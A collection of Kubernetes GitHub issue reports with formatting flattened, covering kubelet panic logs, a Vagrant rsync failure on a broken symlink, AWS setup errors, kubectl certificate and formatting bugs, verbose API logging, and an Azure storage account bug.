kube-controller-1 status is now: nodehassufficientmemory\r i0411 14:25:34.569494     770 event.go:209  event v1.objectreference{kind:\ node\ , namespace:\ \ , name:\ kube-controller-1\ , uid:\ kube-controller-1\ , apiversion:\ \ , resourceversion:\ \ , fieldpath:\ \ } : type: 'normal' reason: 'nodehassufficientpid' node kube-controller-1 status is now: nodehassufficientpid\r i0411 14:25:34.581666     770 helpers.go:822  eviction manager: observations: signal=nodefs.inodesfree, available: 3198984, capacity: 3276800, time: 2019-04-11 14:25:34.570171022 +0800 cst m=+0.301067428\r i0411 14:25:34.581722     770 helpers.go:822  eviction manager: observations: signal=imagefs.available, available: 978584996ki, capacity: 1031987968ki, time: 2019-04-11 14:25:34.570171022 +0800 cst m=+0.301067428\r i0411 14:25:34.581748     770 helpers.go:822  eviction manager: observations: signal=imagefs.inodesfree, available: 65532782, capacity: 65536k, time: 2019-04-11 14:25:34.570171022 +0800 cst m=+0.301067428\r i0411 14:25:34.581758     770 helpers.go:822  eviction manager: observations: signal=pid.available, available: 32521, capacity: 32ki, time: 2019-04-11 14:25:34.581066943 +0800 cst m=+0.311963340\r i0411 14:25:34.581765     770 helpers.go:822  eviction manager: observations: signal=memory.available, available: 15314304ki, capacity: 16300784ki, time: 2019-04-11 14:25:34.570171022 +0800 cst m=+0.301067428\r i0411 14:25:34.581773     770 helpers.go:822  eviction manager: observations: signal=allocatablememory.available, available: 16300784ki, capacity: 16300784ki, time: 2019-04-11 14:25:34.581576592 +0800 cst m=+0.312473037\r i0411 14:25:34.581786     770 helpers.go:822  eviction manager: observations: signal=nodefs.available, available: 46317644ki, capacity: 51474044ki, time: 2019-04-11 14:25:34.570171022 +0800 cst m=+0.301067428\r i0411 14:25:34.581814     770 eviction_manager.go:321  eviction manager: no resources are starved\r i0411 14:25:34.593104     770 container_manager_linux.go:776  attempting to apply oom_score_adj of -999 to pid 770\r i0411 14:25:34.593138     770 oom_linux.go:65  attempting to set \ /proc/770/oom_score_adj\  to \ -999\ \r i0411 14:25:34.659970     770 config.go:100  looking for  file , have seen map  \r i0411 14:25:34.756389     770 kubelet.go:1885  syncloop  add, \ file\  : \ \ \r i0411 14:25:34.759878     770 config.go:100  looking for  file , have seen map file:{} \r i0411 14:25:34.760028     770 reconciler.go:154  reconciler: start to sync state\r i0411 14:25:34.760140     770 reconciler.go:697  get volumes from pod directory \ /var/lib/kubelet/pods\    \r i0411 14:25:35.457382     770 reflector.go:161  listing and watching  v1beta1.runtimeclass from k8s.io/client-go/informers/factory.go:133\r e0411 14:25:35.457584     770 runtime.go:69  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:76\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /usr/local/go/src/runtime/panic.go:522\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:189\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:214\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:125\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:152\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:153\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:124\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:54\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:71\r /usr/local/go/src/runtime/asm_amd64.s:1337\r i0411 14:25:35.459790     770 generic.go:189  genericpleg: relisting\r i0411 14:25:36.456180     770 config.go:100  looking for  file , have seen map file:{} \r i0411 14:25:36.456281     770 kubelet.go:1972  syncloop  housekeeping \r i0411 14:25:36.457768     770 reflector.go:161  listing and watching  v1beta1.runtimeclass from k8s.io/client-go/informers/factory.go:133\r e0411 14:25:36.458074     770 runtime.go:69  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:76\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /usr/local/go/src/runtime/panic.go:522\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:189\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:214\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:125\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:152\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:153\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:124\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:54\r /workspace/anago-v1.14.0-rc.1.5+641856db183520/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:71\r /usr/local/go/src/runtime/asm_amd64.s:1337\r i0411 14:25:36.461872     770 generic.go:189  genericpleg: relisting\r \r

environment:  host os is ubuntu 15.04, running latest vagrant and using the vagrant libvirt provisioner.  issue:  when running a fresh  cluster/kube-up.sh , i get to the point where vagrant is rsyncing data. the process fails because the  testdata  in one of the dependency go packages contains an  intentionally  broken symlink. rsync with  --copy-links  does not handle this case well, and the build ultimately fails:      ==> minion-1: configuring and enabling network interfaces... ==> minion-1: installing rsync to the vm... ==> minion-1: rsyncing folder: /home/mbutcher/code/kubernetes/ => /vagrant ==> minion-1: an error occurred. the error will be shown after all tasks complete. an error occurred while executing multiple actions in parallel. any errors that occurred are shown below.  an error occurred while executing the action on the 'master' machine. please handle this error then try again:  there was an error when attempting to rsync a synced folder. please inspect the error message below for more info.  host path: /home/mbutcher/code/kubernetes/ guest path: /vagrant command: rsync --verbose --archive --delete -z --copy-links --no-owner --no-group --rsync-path sudo rsync -e ssh -p 22 -o stricthostkeychecking=no -o identitiesonly=true -o userknownhostsfile=/dev/null -i '/home/mbutcher/code/kubernetes/.vagrant/machines/master/libvirt/private_key' --exclude .vagrant/ /home/mbutcher/code/kubernetes/ vagrant@192.168.121.61:/vagrant error: warning: permanently added '192.168.121.61'  rsa  to the list of known hosts. symlink has no referent: \ /home/mbutcher/code/kubernetes/godeps/_workspace/src/github.com/fsouza/go-dockerclient/testing/data/symlink\  rsync error: some files/attrs were not transferred  see previous errors   code 23  at main.c 1183   sender=3.1.1    an error occurred while executing the action on the 'minion-1' machine. please handle this error then try again:  there was an error when attempting to rsync a synced folder. please inspect the error message below for more info.  host path: /home/mbutcher/code/kubernetes/ guest path: /vagrant command: rsync --verbose --archive --delete -z --copy-links --no-owner --no-group --rsync-path sudo rsync -e ssh -p 22 -o stricthostkeychecking=no -o identitiesonly=true -o userknownhostsfile=/dev/null -i '/home/mbutcher/code/kubernetes/.vagrant/machines/minion-1/libvirt/private_key' --exclude .vagrant/ /home/mbutcher/code/kubernetes/ vagrant@192.168.121.192:/vagrant error: warning: permanently added '192.168.121.192'  rsa  to the list of known hosts. symlink has no referent: \ /home/mbutcher/code/kubernetes/godeps/_workspace/src/github.com/fsouza/go-dockerclient/testing/data/symlink\  rsync error: some files/attrs were not transferred  see previous errors   code 23  at main.c 1183   sender=3.1.1       would the best solution be to simply  --exclude  that directory?

node should expose installed image information, so that scheduler can use that information to do better scheduling.   cc/ @bgrant0607 @davidopp @kubernetes/goog-node

on aws, the kube-node-unpacker service is not starting, and so the kube-proxy is not starting, because the image is not registered.   systemctl start kube-node-unpacker  starts it.  this is in  /var/log/salt/minion :      2016-01-08 00:12:03,256  salt.loaded.int.module.cmdmod  error     output:   kube-node-unpacker.service    loaded: not-found  reason: no such file or directory     active: inactive  dead  2016-01-08 00:12:03,558  salt.loaded.int.module.cmdmod  error     command 'service kube-node-unpacker start' failed with return code: 6 2016-01-08 00:12:03,559  salt.loaded.int.module.cmdmod  error     output: failed to start kube-node-unpacker.service: unit kube-node-unpacker.service failed to load: no such file or directory. 2016-01-08 00:12:03,804  salt.state         error     {'kube-node-unpacker': true}      i suspect we're relying on salt to start a systemd service instead of using the workaround ;-   cc @brendandburns because will likely case aws e2e to fail right now

hi,  i reached an issue when deploying k8s on aws in the following guideline: http://kubernetes.io/docs/getting-started-guides/aws/      a client error  validationerror  occurred when calling the createlaunchconfiguration operation: you are not authorized to perform this operation.      i figured out the  kubernetes-minion-policy.json  does not cover autoscaling:launchconfiguration permission. it should be included, right ?

\r   is this a bug report or feature request?    choose one :\r \r bug report\r \r   kubernetes version    use  kubectl version  :\r \r    \r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 4+\ , gitversion:\ v1.4.0-alpha.1.34+700c1dc9fe78b6-dirty\ , gitcommit:\ 700c1dc9fe78b612dd59c2945777ea1fc715394e\ , gittreestate:\ dirty\ , builddate:\ 2016-07-15t01:01:47z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r error: you must be logged in to the server  the server has asked for the client to provide credentials \r    \r \r   environment  :\r -   os   centos 7\r -   kernel   4.1.5-1.el7.centos.x86_64\r -   install tools  : yum\r \r   what happened  :\r \r we have followed the instructions to generate ssl certification files and setup the secured kube-apiserver. but the client kubectl fail to request with certification files. \r \r the log of  kubectl  looks like this.\r \r ! screen shot 2016-12-14 at 16 51 09  https://cloud.githubusercontent.com/assets/2715000/21175756/e6bb39ce-c21e-11e6-9954-06b31f9a641e.png \r \r and we have tried with  curl  and got these error.\r \r ! screen shot 2016-12-14 at 16 51 24  https://cloud.githubusercontent.com/assets/2715000/21175766/f4227a8c-c21e-11e6-8473-54d9e7627491.png \r \r the log of kube-apiserver looks like this.\r \r ! screen shot 2016-12-14 at 16 58 27  https://cloud.githubusercontent.com/assets/2715000/21175776/04f13e70-c21f-11e6-8a8e-9f2f7d708e25.png \r \r and here is our configuration of  ~/.kube/config .\r \r    \r apiversion: v1\r clusters:\r - cluster:\r     certificate-authority: /home/work/chendihao/kubernetes_ssl/ca.crt\r     server: https://10.108.36.9:6443\r   name: ubuntu\r contexts:\r - context:\r     cluster: ubuntu\r     auser: ubuntu\r     user: ubuntu\r   name: ubuntu\r current-context: ubuntu\r kind: config\r preferences: {}\r users:\r - name: ubuntu\r   user:\r     client-certificate: /home/work/chendihao/kubernetes_ssl/server.crt\r     client-key: /home/work/chendihao/kubernetes_ssl/server.key\r    \r

it seems that this error message is not being returned correctly  \ apiserver received an error that is not an metav1.status: etcdserver: request is too large\  .

by default, logging rest api calls at log level 2 is too verbose  see below , if log level 2 happens to be default. \r    \r i0203 12:37:27.059555   11483 wrap.go:75  put /api/v1/namespaces/kube-system/endpoints/kube-scheduler:  1.358954ms  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35168 \r i0203 12:37:27.780029   11483 wrap.go:75  get /api/v1/nodes/127.0.0.1?resourceversion=0:  819.444µs  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format   ::1 :35154 \r i0203 12:37:27.844846   11483 wrap.go:75  post /api/v1/namespaces/default/events:  11.337447ms  201   hyperkube/v0.0.0  linux/amd64  kubernetes/$format   ::1 :35154 \r i0203 12:37:27.844851   11483 wrap.go:75  patch /api/v1/nodes/127.0.0.1/status:  9.998981ms  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format   ::1 :35154 \r i0203 12:37:28.942863   11483 wrap.go:75  get /api/v1/namespaces/kube-system/endpoints/kube-controller-manager:  923.711µs  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35156 \r i0203 12:37:28.944556   11483 wrap.go:75  put /api/v1/namespaces/kube-system/endpoints/kube-controller-manager:  1.188942ms  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35156 \r i0203 12:37:29.061483   11483 wrap.go:75  get /api/v1/namespaces/kube-system/endpoints/kube-scheduler:  937.549µs  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35168 \r i0203 12:37:29.063068   11483 wrap.go:75  put /api/v1/namespaces/kube-system/endpoints/kube-scheduler:  1.111312ms  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35168 \r i0203 12:37:30.947922   11483 wrap.go:75  get /api/v1/namespaces/kube-system/endpoints/kube-controller-manager:  935.198µs  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35156 \r i0203 12:37:30.950150   11483 wrap.go:75  put /api/v1/namespaces/kube-system/endpoints/kube-controller-manager:  1.703438ms  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35156 \r i0203 12:37:31.064883   11483 wrap.go:75  get /api/v1/namespaces/kube-system/endpoints/kube-scheduler:  1.127992ms  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35168 \r i0203 12:37:31.066503   11483 wrap.go:75  put /api/v1/namespaces/kube-system/endpoints/kube-scheduler:  1.098029ms  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35168 \r i0203 12:37:32.951691   11483 wrap.go:75  get /api/v1/namespaces/kube-system/endpoints/kube-controller-manager:  945.295µs  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35156 \r i0203 12:37:32.953580   11483 wrap.go:75  put /api/v1/namespaces/kube-system/endpoints/kube-controller-manager:  1.331822ms  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35156 \r i0203 12:37:33.068221   11483 wrap.go:75  get /api/v1/namespaces/kube-system/endpoints/kube-scheduler:  912.121µs  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35168 \r i0203 12:37:33.069787   11483 wrap.go:75  put /api/v1/namespaces/kube-system/endpoints/kube-scheduler:  1.120666ms  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35168 \r i0203 12:37:34.955546   11483 wrap.go:75  get /api/v1/namespaces/kube-system/endpoints/kube-controller-manager:  1.02279ms  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35156 \r i0203 12:37:34.957812   11483 wrap.go:75  put /api/v1/namespaces/kube-system/endpoints/kube-controller-manager:  1.661017ms  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35156 \r i0203 12:37:35.071528   11483 wrap.go:75  get /api/v1/namespaces/kube-system/endpoints/kube-scheduler:  935.155µs  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35168 \r i0203 12:37:35.073087   11483 wrap.go:75  put /api/v1/namespaces/kube-system/endpoints/kube-scheduler:  1.027371ms  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35168 \r i0203 12:37:35.580075   11483 wrap.go:75  get /apis/extensions/v1beta1/thirdpartyresources:  943.453µs  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format   ::1 :35144 \r i0203 12:37:36.611659   11483 wrap.go:75  get /api/v1/namespaces/default:  753.781µs  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format   ::1 :35144 \r i0203 12:37:36.612516   11483 wrap.go:75  get /api/v1/namespaces/default/services/kubernetes:  495.105µs  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format   ::1 :35144 \r i0203 12:37:36.613167   11483 wrap.go:75  get /api/v1/namespaces/default/endpoints/kubernetes:  379.568µs  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format   ::1 :35144 \r i0203 12:37:36.960131   11483 wrap.go:75  get /api/v1/namespaces/kube-system/endpoints/kube-controller-manager:  1.431137ms  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35156 \r i0203 12:37:36.963470   11483 wrap.go:75  put /api/v1/namespaces/kube-system/endpoints/kube-controller-manager:  2.190438ms  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35156 \r i0203 12:37:37.028185   11483 wrap.go:75  get /api/v1/nodes:  1.34149ms  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/pod-garbage-collector   ::1 :35156 \r i0203 12:37:37.074666   11483 wrap.go:75  get /api/v1/namespaces/kube-system/endpoints/kube-scheduler:  928.261µs  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35168 \r i0203 12:37:37.076314   11483 wrap.go:75  put /api/v1/namespaces/kube-system/endpoints/kube-scheduler:  1.240852ms  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35168 \r i0203 12:37:37.847163   11483 wrap.go:75  get /api/v1/nodes/127.0.0.1?resourceversion=0:  725.021µs  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format   ::1 :35154 \r i0203 12:37:37.901326   11483 wrap.go:75  patch /api/v1/nodes/127.0.0.1/status:  2.377445ms  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format   ::1 :35154 \r i0203 12:37:38.968028   11483 wrap.go:75  get /api/v1/namespaces/kube-system/endpoints/kube-controller-manager:  3.777083ms  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35156 \r i0203 12:37:38.970313   11483 wrap.go:75  put /api/v1/namespaces/kube-system/endpoints/kube-controller-manager:  1.655815ms  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35156 \r i0203 12:37:39.077913   11483 wrap.go:75  get /api/v1/namespaces/kube-system/endpoints/kube-scheduler:  919.65µs  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35168 \r i0203 12:37:39.079617   11483 wrap.go:75  put /api/v1/namespaces/kube-system/endpoints/kube-scheduler:  1.196855ms  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35168 \r i0203 12:37:40.972171   11483 wrap.go:75  get /api/v1/namespaces/kube-system/endpoints/kube-controller-manager:  936.07µs  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35156 \r i0203 12:37:40.973886   11483 wrap.go:75  put /api/v1/namespaces/kube-system/endpoints/kube-controller-manager:  1.200048ms  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35156 \r i0203 12:37:41.084158   11483 wrap.go:75  get /api/v1/namespaces/kube-system/endpoints/kube-scheduler:  3.842758ms  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   ::1 :35168 \r i0203 12:37:41.085722   11483 wrap.go:75  put /api/v1/namespaces/kube-system/endpoints/kube-scheduler:  1.101371ms  200   hyperkube/v0.0.0  linux/amd64  kubernetes/$format/leader-election   \r

<!-- this form is for bug reports and feature requests only! \r      \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r   i found there is behavior change on createvolume func, the original design would search storage account if not provided, while from 1.7.2 it would not, see below:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/azure/azure_blobdiskcontroller.go l83-l128\r       comments from @rootfs:\r if an invalid account name is provided, this line always hits and new storage accounts keep getting created. you can easily exhaust the storage account limit  50?  : \r 1.6 code does it differently, see the comment here. no storage account is is going to be created if there is already one with the same sku and location.\r   is this a bug report or feature request?  :\r  \r   what happened  :\r the storage account could be exhausted with current design in azure.\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r will fix this in k8s v1.9\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r  \r \r   what happened  :\r \r currently, kube-proxy registers sync proxy rules latency metrics in specific proxy mode, e.g. iptables, winkernel...\r \r   what you expected to happen  :\r \r register sync proxy rules latency metrics in app level\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r kubeadm e2e test is currently broken due to the commit https://github.com/kubernetes/kubernetes/pull/51250. i report the same issue on my local cluster. if i revert pr 51250, everything works fine. we believe the current weave-net plugin doesn't work with the cni version change.\r \r right now all kubeadm related development is blocked on this. could we consider reverting this change from head until we figure out what's wrong in weave-net/cni? \r \r more context in https://github.com/kubernetes/kubernetes/issues/54180\r \r

bug report  :\r  \r \r   what happened  :\r \r  kubectl apply view-last-applied deploy name  is incorrectly parsing  %s  in the output and replacing it with  %!s missing  \r \r this only happens with  kubectl apply view-last-applied .\r  kubectl describe  and  kubectl get  correctly show  %s \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r apply manifest below:\r \r    \r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: app-deployment\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: app\r   template:\r     metadata:\r       labels:\r         app: app\r     spec:\r       containers:\r       - name: app\r         image: app\r         args:\r           - -random_flag=%s@domain.com\r    \r \r notice the  %s  in the  args  field.\r \r    \r $ kubectl apply -f /tmp/deploy.yaml\r deployment \ app-deployment\  configured\r    \r \r viewing the args with  kubectl get  works fine:\r \r    \r $ kubectl get deploy app-deployment -o json | \\\r   jq .spec.template.spec.containers  .args\r  \r   \ -random_flag=%s@domain.com\ \r  \r    \r \r using  get  to view  last-applied-configuration  also shows the right thing:\r \r    \r kubectl get deploy app-deployment -o json | \\\r   jq -r .metadata.annotations.'\ kubectl.kubernetes.io/last-applied-configuration\ ' | \\\r   jq .spec.template.spec.containers  .args\r  \r   \ -random_flag=%s@domain.com\ \r  \r    \r \r using  kubectl apply view-last-applied  incorrectly replaces  %s  in the output with  %!s missing  \r \r    \r $ kubectl apply view-last-applied deploy app-deployment\r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   annotations: {}\r   name: app-deployment\r   namespace: my-namespace\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: app\r   template:\r     metadata:\r       labels:\r         app: app\r     spec:\r       containers:\r       - args:\r         - -random_flag=%!s missing @domain.com\r         image: app\r         name: app\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:55:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.6-gke.1\ , gitcommit:\ 407dbfe965f3de06b332cc22d2eb1ca07fb4d3fb\ , gittreestate:\ clean\ , builddate:\ 2017-09-27t21:21:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r gke running v1.7.6\r \r \r

\r   is this a bug report or feature request?  :\r \r   what happened  :\r \r   what you expected to happen  :\r keep the relation between execincontainer and exec be consistence with portforward in streaming server\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r    \r kubectl get priorityclass\r error from server: no kind \ priorityclass\  is registered for version \ scheduling.k8s.io/v1beta1\r    \r   apiserver args  \r    \r apiserver --v=6 --etcd_servers=https://172.26.0.5:2379,https://172.26.0.6:2379,https://172.26.0.7:2379 --etcd-cafile=/etc/kubernetes/ssl/etcd-ca.pem --etcd-certfile=/etc/kubernetes/ssl/etcd.pem --etcd-keyfile=/etc/kubernetes/ssl/etcd-key.pem --apiserver-count=3 --insecure-bind-address=0.0.0.0 --insecure-port=8080 --bind-address=172.26.0.5 --secure-port=15443 --runtime_config=api/all --runtime_config=admissionregistration.k8s.io/v1alpha1 --runtime_config=settings.k8s.io/v1alpha1 --runtime-config=scheduling.k8s.io/v1alpha1=true --kubelet-https=true --admission_control=namespacelifecycle,namespaceexists,limitranger,persistentvolumelabel,defaultstorageclass,defaulttolerationseconds,resourcequota,noderestriction,serviceaccount,initializers,podpreset,mutatingadmissionwebhook,validatingadmissionwebhook --authorization-mode=node,rbac --token-auth-file=/etc/kubernetes/ssl/token.csv --service-cluster-ip-range=10.10.0.0/16 --client_ca_file=/etc/kubernetes/ssl/ca.pem --tls_cert_file=/etc/kubernetes/ssl/kubernetes.pem --tls_private_key_file=/etc/kubernetes/ssl/kubernetes-key.pem --requestheader-client-ca-file=/etc/kubernetes/ssl/ca.pem --proxy-client-cert-file=/etc/kubernetes/ssl/kubernetes.pem --proxy-client-key-file=/etc/kubernetes/ssl/kubernetes-key.pem --enable-swagger-ui=true --allow_privileged=true --feature-gates=advancedauditing=true,mountpropagation=true,persistentlocalvolumes=true,supportipvsproxymode=true,blockvolume=true,podpriority=true,deviceplugins=true --audit-policy-file=/etc/kubernetes/ssl/audit-policy.yaml --audit-log-maxage=30 --audit-log-maxbackup=3 --audit-log-maxsize=100 --audit-log-path=/var/log/kubernetes/audit.log --event-ttl=12h\r    \r   part of apiserver logs  \r    \r i0802 17:20:48.334173       1 storage_factory.go:278  storing {scheduling.k8s.io priorityclasses} in scheduling.k8s.io/v1alpha1, reading as scheduling.k8s.io/__internal from storagebackend.config{type:\ \ , prefix:\ /registry\ , serverlist:  string{\ https://172.26.0.5:2379\ , \ https://172.26.0.6:2379\ , \ https://172.26.0.7:2379\ }, keyfile:\ /etc/kubernetes/ssl/etcd-key.pem\ , certfile:\ /etc/kubernetes/ssl/etcd.pem\ , cafile:\ /etc/kubernetes/ssl/etcd-ca.pem\ , quorum:true, paging:true, deserializationcachesize:1000, 